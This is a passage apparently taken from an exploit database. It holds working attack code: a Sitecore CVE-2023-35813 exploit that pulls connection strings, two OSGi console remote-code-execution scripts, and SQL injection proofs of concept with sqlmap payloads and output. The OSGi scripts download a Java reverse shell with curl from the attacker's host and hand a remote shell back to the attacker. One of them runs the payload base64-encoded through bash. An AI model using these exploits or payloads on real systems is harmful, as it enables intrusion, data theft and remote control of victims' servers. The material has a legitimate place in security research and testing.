        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='{}'
    />
    '''

    return base_payload.format(payloads.get(choice, "Invalid"))

def main(hostname):
    if initial_test(hostname):
        print("Exploiting, Please wait...")
        console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
        print("Select the payload to use:")
        print("1: Core connection strings")
        print("2: Master connection strings")
        print("3: Web connection strings")
        payload_choice = input("Enter your choice (1, 2, or 3): ")

        payload = get_payload(payload_choice)
        encoded_payload = quote(payload)

        url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

        response = requests.post(url, headers=headers, data=data)

        if 'Content-Type' in response.headers:
            print("Content-Type from the response header:")
            print("\n")
            print(response.headers['Content-Type'])
        else:
            print("No Content-Type in the response header. Status Code:", response.status_code)
    else:
        print("The target does not appear to be vulnerable to CVE-2023-35813.")


if __name__ == "__main__":
    console.print("[bold green]Author: Abhishek Morla[/bold green]")
    console.print("[bold red]CVE-2023-35813[/bold red]")
    parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
    parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
    args = parser.parse_args()

    main(args.hostname)
            
# Exploit Title: Human Resource Management System - SQL Injection
# Date: 13-01-2024
# Exploit Author: Srikar ( Exp1o1t9r )
# Vendor Homepage: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip
# Version: 1.0 (Monday, October 10, 2022 - 13:37)
# Tested On: Windows 10 Pro 10.0.19044 N/A Build 1288 + XAMPP V3.3.0
# Vulnerable URL and Parameter:URL:


Parameter: employeeid=2 The following payloads successfully identified SQL injection
vulnerabilities:
employeeid=2' AND 9667=9667-- NFMgemployeeid=2' AND (SELECT
6014 FROM(SELECT COUNT(*),CONCAT(0x716a767671,(SELECT
(ELT(6014=6014,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ywfiemployeeid=2' AND (SELECT
7160 FROM (SELECT(SLEEP([SLEEPTIME])))IzXD)-- ninWemployeeid=-4254' UNION
ALL SELECT
NULL,CONCAT(0x716a767671,0x457977584e79636568687641497a4b6e637668455a487948534e50737753626f5a4a545244616276,0x7162716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
- *

# Response:MySQL: 10.4.32-MariaDB
Users:'pma'@'localhost''root'@'127.0.0.1''root'@'::1''root'@'localhost'*
            
#!/usr/bin/python

# Exploit Title: [OSGi v3.8-3.18 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
#                  VisionSpace Technologies GmbH]
# Exploit Repository:
#           [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.8 - 3.18]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Example:
# python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 \
#                                                      --lport=4444

"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.8-3.18 and earlier.
"""
import argparse
import socket
import sys
import threading

from functools import partial
from http.server import BaseHTTPRequestHandler, HTTPServer

# Stage 1 of the handshake message
HANDSHAKE_STAGE_1 = \
    b"\xff\xfd\x01\xff\xfd" \
    b"\x03\xff\xfb\x1f\xff" \
    b"\xfa\x1f\x00\x74\x00" \
    b"\x37\xff\xf0\xff\xfb" \
    b"\x18"

# Stage 2 of the handshake message
HANDSHAKE_STAGE_2 = \
    b"\xff\xfa\x18\x00\x58" \
    b"\x54\x45\x52\x4d\x2d" \
    b"\x32\x35\x36\x43\x4f" \
    b"\x4c\x4f\x52\xff\xf0"

# The buffer of this size is enough to handle the telnet handshake
BUFFER_SIZE = 2 * 1024


class HandlerClass(BaseHTTPRequestHandler):
    """
    This class overrides the BaseHTTPRequestHandler. It provides a specific
    functionality used to deliver a payload to the target host.
    """

    _lhost: str
    _lport: int

    def __init__(self, lhost, lport, *args, **kwargs):
        self._lhost = lhost
        self._lport = lport

        super().__init__(*args, **kwargs)

    def _set_response(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def do_GET(self):  # pylint: disable=C0103
        """
        This method is responsible for the playload delivery.
        """

        print("Delivering the payload...")

        self._set_response()
        self.wfile.write(generate_revshell_payload(
            self._lhost, self._lport).encode('utf-8'))

        raise KeyboardInterrupt

    def log_message(self, format, *args):  # pylint: disable=W0622
        """
        This method redefines a built-in method to suppress
        BaseHTTPRequestHandler log messages.
        """

        return


def generate_revshell_payload(lhost, lport):
    """
    This function generates the Revershe Shell payload that will
    be executed on the target host.
    """

    payload = \
        "import java.io.IOException;import java.io.InputStream;" \
        "import java.io.OutputStream;import java.net.Socket;" \
        "class RevShell {public static void main(String[] args) " \
        "throws Exception { String host=\"%s\";int port=%d;" \
        "String cmd=\"sh\";Process p=new ProcessBuilder(cmd)." \
        "redirectErrorStream(true).start();Socket s=new Socket(host,port);" \
        "InputStream pi=p.getInputStream(),pe=p.getErrorStream(), " \
        "si=s.getInputStream();OutputStream po=p.getOutputStream()," \
        "so=s.getOutputStream();while(!s.isClosed()){while(pi.available()" \
        ">0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());" \
        "while(si.available()>0)po.write(si.read());so.flush();po.flush();" \
        "Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};" \
        "p.destroy();s.close();}}\n" % (
            lhost, lport)

    return payload


def run_payload_delivery(lhost, lport):
    """
    This function is responsible for payload delivery.
    """

    print("Setting up the HTTP server for payload delivery...")

    handler_class = partial(HandlerClass, lhost, lport)

    server_address = ('', 80)
    httpd = HTTPServer(server_address, handler_class)

    try:
        print("[+] HTTP server is running.")

        httpd.serve_forever()
    except KeyboardInterrupt:
        print("[+] Payload delivered.")
    except Exception as err:  # pylint: disable=broad-except
        print("[-] Failed payload delivery!")
        print(err)
    finally:
        httpd.server_close()


def generate_stage_1(lhost):
    """
    This function generates the stage 1 of the payload.
    """

    stage_1 = b"fork \"curl http://%s -o ./RevShell.java\"\n" % (
        lhost.encode()
    )

    return stage_1


def generate_stage_2():
    """
    This function generates the stage 2 of the payload.
    """

    stage_2 = b"fork \"java ./RevShell.java\"\n"

    return stage_2


def establish_connection(rhost, rport):
    """
    This function creates a socket and establishes the connection
    to the target host.
    """

    print("[*] Connecting to OSGi Console...")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((rhost, rport))
    print("[+] Connected.")

    return sock


def process_handshake(sock):
    """
    This function process the handshake with the target host.
    """

    print("[*] Processing the handshake...")
    sock.recv(BUFFER_SIZE)
    sock.send(HANDSHAKE_STAGE_1)
    sock.recv(BUFFER_SIZE)
    sock.send(HANDSHAKE_STAGE_2)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)


def deliver_payload(sock, lhost):
    """
    This function executes the first stage of the exploitation.
    It triggers the payload delivery mechanism to the target host.
    """

    stage_1 = generate_stage_1(lhost)

    print("[*] Triggering the payload delivery...")
    sock.send(stage_1)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)


def execute_payload(sock):
    """
    This function executes the second stage of the exploitation.
    It sends payload which is responsible for code execution.
    """

    stage_2 = generate_stage_2()

    print("[*] Executing the payload...")
    sock.send(stage_2)
    sock.recv(BUFFER_SIZE)
    sock.recv(BUFFER_SIZE)
    print("[+] Payload executed.")


def exploit(args, thread):
    """
    This function sends the multistaged payload to the tareget host.
    """

    try:
        sock = establish_connection(args.rhost, args.rport)

        process_handshake(sock)
        deliver_payload(sock, args.lhost)

        # Join the thread running the HTTP server
        # and wait for payload delivery
        thread.join()

        execute_payload(sock)

        sock.close()

        print("[+] Done.")
    except socket.error as err:
        print("[-] Could not connect!")
        print(err)
        sys.exit()


def parse():
    """
    This fnction is used to parse and return command-line arguments.
    """

    parser = argparse.ArgumentParser(
        prog="OSGi-3.8-console-RCE",
        description="This tool will let you open a reverse shell from the "
                    "system that is running OSGi with the '-console' "
                    "option in versions between 3.8 and 3.18.",
        epilog="Happy Hacking! :)",
    )

    parser.add_argument("--rhost", dest="rhost",
                        help="remote host", type=str, required=True)
    parser.add_argument("--rport", dest="rport",
                        help="remote port", type=int, required=True)
    parser.add_argument("--lhost", dest="lhost",
                        help="local host", type=str, required=False)
    parser.add_argument("--lport", dest="lport",
                        help="local port", type=int, required=False)
    parser.add_argument("--version", action="version",
                        version="%(prog)s 0.1.0")

    return parser.parse_args()


def main(args):
    """
    Main fuction.
    """

    thread = threading.Thread(
        target=run_payload_delivery, args=(args.lhost, args.lport))
    thread.start()

    exploit(args, thread)


if __name__ == "__main__":
    main(parse())
            
+ **Exploit Title:** CVE-2023-7137_Client_Details_System-SQL_Injection_1
+ **Date:** 2023-26-12
+ **Exploit Author:** Hamdi Sevben
+ **Vendor Homepage:** https://code-projects.org/client-details-system-in-php-with-source-code/
+ **Software Link:** https://download-media.code-projects.org/2020/01/CLIENT_DETAILS_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
+ **Version:** 1.0
+ **Tested on:** Windows 10 Pro + PHP 8.1.6, Apache 2.4.53
+ **CVE:** CVE-2023-7137

## References: 
+ **CVE-2023-7137:** https://vuldb.com/?id.249140
+ https://www.cve.org/CVERecord?id=CVE-2023-7137
+ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-7137
+ https://nvd.nist.gov/vuln/detail/CVE-2023-7137

## Description:
Client Details System 1.0 allows SQL Injection via parameter 'uemail' in "/clientdetails/". Exploiting this issue could allow an attacker to compromise the application, access or modify data,  or exploit latest vulnerabilities in the underlying database.

## Proof of Concept:
+ Go to the User Login page: "http://localhost/clientdetails/"
+ Fill email and password.
+ Intercept the request via Burp Suite and send to Repeater.
+ Copy and paste the request to a "r.txt" file.
+ Captured Burp request:
```
POST /clientdetails/ HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 317
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/clientdetails/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

uemail=user@mail.com&login=LOG+IN&password=P@ass123
```

+ Use sqlmap to exploit. In sqlmap, use 'uemail' parameter to dump the database. 
```
python sqlmap.py -r r.txt -p uemail --risk 3 --level 5 --threads 1 --random-agent tamper=between,randomcase --proxy="http://127.0.0.1:8080" --dbms mysql --batch --current-db
```

```
---
Parameter: uemail (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: uemail=user@mail.com' OR NOT 6660=6660-- FlRf&login=LOG IN&password=P@ass123

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: uemail=user@mail.com' AND (SELECT 6854 FROM(SELECT COUNT(*),CONCAT(0x717a717a71,(SELECT (ELT(6854=6854,1))),0x7176627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Oxlo&login=LOG IN&password=P@ass123

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uemail=user@mail.com' AND (SELECT 5335 FROM (SELECT(SLEEP(5)))qsPA)-- pwtE&login=LOG IN&password=P@ass123

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: uemail=user@mail.com' UNION ALL SELECT NULL,CONCAT(0x717a717a71,0x45575259495444506f48756469467471555975554d6f794d77677a4f50547145735052567278434f,0x7176627871),NULL,NULL,NULL,NULL,NULL-- -&login=LOG IN&password=P@ass123
---
[14:58:11] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.53, PHP, PHP 8.1.6
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[14:58:11] [INFO] fetching current database
current database: 'loginsystem'
```

+ current database: `loginsystem`
![1](https://github.com/h4md153v63n/CVEs/assets/5091265/bfbec122-5b56-42df-beda-41dfdcaf527a)
            
#!/usr/bin/python

# Exploit Title: [OSGi v3.7.2 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
#                  VisionSpace Technologies GmbH]
# Exploit Repository:
#           [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.7.2 and before]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Examples:
# python exploit.py --rhost=localhost --rport=1337 --lhost=localhost \
#   --lport=4444
#
# python exploit.py --rhost=localhost --rport=1337 --payload= \
#   "curl http://192.168.100.100/osgi_test"


"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.7.2 and earlier.
"""
import argparse
import base64
import socket


def parse():
    """
    This fnction is used to parse and return command-line arguments.
    """

    parser = argparse.ArgumentParser(
        prog="OSGi-3.7.2-console-RCE",
        description="This tool will let you open a reverse shell from the "
                    "system that is running OSGi with the '-console' "
                    "option in version 3.7.2 (or before).",
        epilog="Happy Hacking! :)",
    )

    parser.add_argument("--rhost", dest="rhost",
                        help="remote host", type=str, required=True)
    parser.add_argument("--rport", dest="rport",
                        help="remote port", type=int, required=True)
    parser.add_argument("--lhost", dest="lhost",
                        help="local host", type=str, required=False)
    parser.add_argument("--lport", dest="lport",
                        help="local port", type=int, required=False)
    parser.add_argument("--payload", dest="custom_payload",
                        help="custom payload", type=str, required=False)
    parser.add_argument("--version", action="version",
                        version="%(prog)s 0.1.0")

    args = parser.parse_args()

    if args.custom_payload and (args.lhost or args.lport):
        parser.error(
            "either --payload or both --lport and --rport are required.")

    return args


def generate_payload(lhost, lport, custom_payload):
    """
    This function generates the whole payload ready for the delivery.
    """

    payload = ""

    if custom_payload:
        payload = custom_payload

        print("(*) Using custom payload.")
    elif lhost and lport:
        payload = \
            "echo 'import java.io.IOException;import java.io.InputStream;" \
            "import java.io.OutputStream;import java.net.Socket;class Rev" \
            "Shell {public static void main(String[] args) throws Excepti" \
            "on { String host=\"%s\";int port=%s;String cmd=\"sh\";Proces" \
            "s p=new ProcessBuilder(cmd).redirectErrorStream(true).start(" \
            ");Socket s=new Socket(host,port);InputStream pi=p.getInputSt" \
            "ream(),pe=p.getErrorStream(), si=s.getInputStream();OutputSt" \
            "ream po=p.getOutputStream(), so=s.getOutputStream();while(!s" \
            ".isClosed()){while(pi.available()>0)so.write(pi.read());whil" \
            "e(pe.available()>0)so.write(pe.read());while(si.available()>" \
            "0)po.write(si.read());so.flush();po.flush();Thread.sleep(50)" \
            ";try {p.exitValue();break;}catch (Exception e){}};p.destroy(" \
            ");s.close();}}' > RevShell.java ; java ./RevShell.java" % (
                lhost, lport)

        print("(+) Using Java reverse shell payload.")

    bash_payload = b"bash -c {echo,%s}|{base64,-d}|{bash,-i}" % (
        base64.b64encode(payload.encode()))

    wrapped_payload = b"fork \"%s\"\n" % (bash_payload)

    return wrapped_payload


def deliver_payload(rhost, rport, payload):
    """
    This function connects to the target host and delivers the payload.
    It returns True if successful; False otherwise.
    """

    print("(*) Sending payload...")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((rhost, rport))
        sock.send(payload)
        sock.close()
    except socket.error as err:
        print(f"(-) Could not deliver the payload to {rhost}:{rport}!")
        print(err)
        return False

    return True


def main(args):
    """
    Main function.
    """

    payload = generate_payload(args.lhost, args.lport, args.custom_payload)

    success = deliver_payload(args.rhost, args.rport, payload)
    if success:
        print("(+) Done.")
    else:
        print("(-) Finished with errors.")


if __name__ == "__main__":
    main(parse())